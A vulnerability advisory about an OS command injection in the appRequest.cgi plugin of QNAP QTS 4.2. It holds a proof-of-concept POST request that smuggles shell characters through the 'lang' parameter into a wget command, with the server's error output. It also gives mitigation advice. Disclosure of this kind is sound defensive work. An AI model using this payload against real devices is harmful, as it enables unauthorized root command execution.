~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

QTS is the operating system used by manufacturer QNAP on its series of
NAS devices[1].

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:


The SySS GmbH found an os command injection in the appRequest plugin of
the current QTS administrative interface.

This type of vulnerability allows an attacker to run arbitrary commands
on the operating system of the host as root.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Log in to the QNAP. The user needs no special privileges.
2. Run a request like the following:

==
POST /cgi-bin/application/appRequest.cgi?&action=getRemoteRSS HTTP/1.1
Host: 192.168.42.201:8080
Content-Length: 39

lang=geryyy><&subfunc=qpkg&sid=[validSid]

==
3. The lang-Parameter will be placed inside of a wget-command without
encoding or sanitizing the string. It will be shortened to only 8
characters lengths, making exploiting difficult. Still e.g. overwriting
critical data would be easy.

The above requests displays an error message in the header, similar to
the following:

HTTP/1.1 200 OK
Date: Tue, 07 Jun 2016 05:57:57 GMT
sh: -c: line 0: syntax error near unexpected token `<'
sh: -c: line 0: `/usr/bin/wget -t 1 -T 30 -q http://download.qnap.com/Liveupdate/QTS4.2.1/qpkgcenter_geryyy><hPThy<}hPSa .xml -O /home/httpd/RSS/rssdoc/qpkgcenter_geryyy><hPThy<}hPSa .xml.tmp 1>>/dev/null 2>>/dev/null'
Content-type: text/xml
Content-Length: 4587


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The manufacturer has not released any security update or patch so far.
Administrators of QNAP QTS 4.2 installations should ensure that only
trusted users/administrators have access to the device.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
